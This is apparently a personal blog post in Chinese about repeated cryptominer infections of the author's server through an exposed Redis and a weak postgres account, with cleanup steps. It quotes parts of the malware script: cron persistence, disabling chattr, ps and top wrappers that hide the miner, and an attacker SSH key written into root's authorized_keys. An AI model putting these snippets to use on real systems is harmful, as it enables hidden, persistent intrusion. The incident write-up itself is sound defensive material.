第一次是在做一个简单项目开发过程中,为了方便将Redis放开了IP限制可以随意连接且没有设置密码,因为服务器上还有一个自己做的空闲教室查询的后台,有一天在寻找自习室时发现无法访问查询服务,随即连接服务器查看情况,输入top命令,发现有一个名为phpupgrade
的进程占用了所有的CPU,使用kill -9命令杀死该进程后过了几十秒此进程重新启动,使用crontab -l
指令查看定时任务发现定时任务为空,说明后台还有一个唤醒程序,但是由于这个唤醒程序占用很低所以也就并没有出现在top命令中,于是在再次杀死这个挖矿进程后,使用top命令发现出现一个phpguard
的程序,判定正是此程序不断重启挖矿进程,于是先杀死这个守卫进程再杀死挖矿进程,设置RedisIP限制,此次问题得以修复,但是由于此次被黑解决的很简单,也没有意识进行记录,但是没想到这还只是个开始。
有一天突发奇想要学习一下postgresql,于是在服务器上安装了postgresql,由于postgresql安装的特殊性,这个数据库需要创建一个名为postgres
的新用户,这就为第二次被黑埋下了伏笔(尽管已经使用了数字字母组合密码),某日远程连接服务器时觉得异常卡顿,使用top命令发现一个高CPU占用率的进程,有了第一次的经验,首先查看定时任务依然没有发现,使用ps命令查看进程信息也没有找到这个进程,同样杀死一次隔一段时间还会重启,这时注意到此进程的发起者正是postgres
,查看此账号的进程,果然发现了挖矿程序,切换到此账号后再次查看定时任务列表发现了定时重启任务,这样问题就得以解决:清空定时任务、杀死挖矿进程,但是postgresql还要继续使用,无奈,只能切换回root用户,调用passwd -l postgres
锁定这个账号,这样此账号无法远程登录但是数据库还是可以正常使用
这次还是redis,为了测试主从复制,为了方便的查看主库、从库中存储的内容,打算使用RedisDesktopManager进行可视化查看,最初认为只开放几分钟应该问题不大(我是真没想到无孔不入,艹)放开了redis IP限制,启动Redis后不到20秒,我在使用上述软件连接Redis服务器后发现里面居然有四个key(当时我就裂开了),打开一个一看,value中赫然写着一条定时任务,就是下面这条
*/30 * * * * sh /etc/newinit.sh >/dev/null 2>&1
调用top和ps命令都无法看到高占用进程但是free命令确确实实告诉我内存不够用了,且定时任务列表crontab也不能编辑上面的脚本也无法删除,提示权限不足,无奈只好查看这个定时任务中的脚本内容
整个脚本共1018行,先从解决问题的方面说起,Linux命令:chattr
chattr命令用于修改Linux中文件的属性,语法如下
chattr [ -RVf ] [ -v version ] [ mode ] files...
一个通用格式是:+-=[aAcCdDeijsStTu]
‘+’选项,将给文件添加属性;‘-’选项,移除文件中的属性;‘=’选项,使得文件只有这些属性。
字母 'aAcCdDeijsStTu' 可以赋予文件的新属性:
下面的只读属性,可以使用 lsattr列出,但不能被 chattr 修改:
这里的主角主要是aiu三个参数,普通文件一般只有一个e表示,可以通过lsattr *
查看当前目录下所有文件标识或lsattr file
查看指定文件的标识
如何让一个文件只读?
chattr +i test.txt
上述指令为test.txt赋予了i标记,需要使用root账户或sudo
如何取消只读?
chattr -i test.txt
如何对一个路径下的所有文件作出限制?
chattr -R +i ./test-dir/
-R表示递归的改变目录及其内容的属性
上述指令会导致test-dir中所有文件都是只读的
有了上述理论基础后,使用lsattr *
命令查看/etc/目录下所有文件的信息,发现数个带有-i标记的文件且创建日期就在开启Redis后,于是尝试使用chattr修改文件限制但是提示chattr权限不足,仔细查看脚本,发现第1003行与1004行有以下内容:
chmod 444 /usr/bin/chattr chmod 444 /bin/chattr
该脚本将chattr设置为只读不可执行,这正是原因所在,由于定时任务仍然存在,只有三十秒的时间完成修改属性、删除脚本的操作,于是首先快速修改此脚本属性并执行rm指令将其删除(具体细节略有遗忘,但大体思路就这样):
chmod 777 /usr/bin/chattr chmod 777 /bin/chattr chattr -ai /etc/newinit.sh rm -rf /etc/newinit.sh
执行上述命令后成功删除脚本,至此算是打掉了挖矿程序的复活甲
接着同样先解锁定时任务删除被篡改的内容,在脚本中发现如下内容:
unlock_cron() { chattr -R -ia /var/spool/cron chattr -ia /etc/crontab chattr -R -ia /var/spool/cron/crontabs chattr -R -ia /etc/cron.d } lock_cron() { chattr -R +ia /var/spool/cron chattr +ia /etc/crontab chattr -R +ia /var/spool/cron/crontabs chattr -R +ia /etc/cron.d }
论规范编码的重要性!把unlock中的语句执行一遍即可解锁定时任务,然后就能清空定时任务
然后问题来了,为什么ps命令与top命令无法查看到挖矿进程信息呢?
在脚本中存在如下语句
mv /bin/ps /bin/ps.original echo "#! /bin/bash">>/bin/ps echo "ps.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/ps chmod +x /bin/ps
mv /bin/top /bin/top.original echo "#! /bin/bash">>/bin/top echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top chmod +x /bin/top
该脚本通过修改ps、top程序名并将带有过滤功能的脚本插入到新创建的ps、top文件且赋予可执行权限,劫持了ps命令和top命令,也就是说现在调用的是滤掉挖矿程序的ps和top命令,但是这也同时将两个关键进程暴露在我们面前,于是调用top.original就能看到真实的进程信息,杀死指定进程即可,然后删除etc目录中的zzh
文件
此外这个脚本还改写了authorized_keys设置免密登录后门
chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJNzaDHmCFQMCVn6DlhT8Tj1CcBLouOPpuBVqGoZem9UT/sdy563H+e1cQD6LRA9lgyBO8VBOuyjlPf/rdYeXZRv9eFZ4ROGCOX/dvNzV9XdEyPX+znEL4AS45ko0obSqNGbserHPcKtXBjjcf9zWtRvBA4lteyXENWeCST61OhVI0K7bNTUHsQhFC0rgiGFqVv+kIwMVauMxeNd5PjsES4C5P9G8Ynligmdxp7LdOFeb5/V/iO8eceQsxLyXVCe2Jue5gaaOIbKy2j2HPxj6qK2BUqlx+dJdat6HE2HyPWDKD5jPyA5RCSs1zphe7BQjH20cX1nyzbhxNNQncs5BfB0kk2Qcb9IS/ofX9p8zIVKLUHMUNC9mKqPljzxH/3wYnOZrgebS4uwfyad+6SQ1oRfs1vWotXxSz1hBjhRPpUqzA7J865AcSOZBaoRsRKZ1BaGMyJyjIfkecFgeDpmbHzOzCjIXAeh20S2wLYZGdrhgVEr0= uc1" > /root/.ssh/authorized_keys
将这个文件内容清空即可,至此此次被黑基本解决,资源占用恢复正常
着重检查以下文件:
/etc/zzh
/tmp/zzh
/etc/strace
/tmp/strace
/tmp/hxx
/tmp/ps
排查ps,top,pstree等工具文件是否被替换。
排查清理以下可疑进程
zzh
strace
pnscan
masscan
hxx
建议:
Redis 服务端口不要暴露在公网,使用强口令。
配置SSH服务使用强口令。
挖矿脚本全文:newinit.sh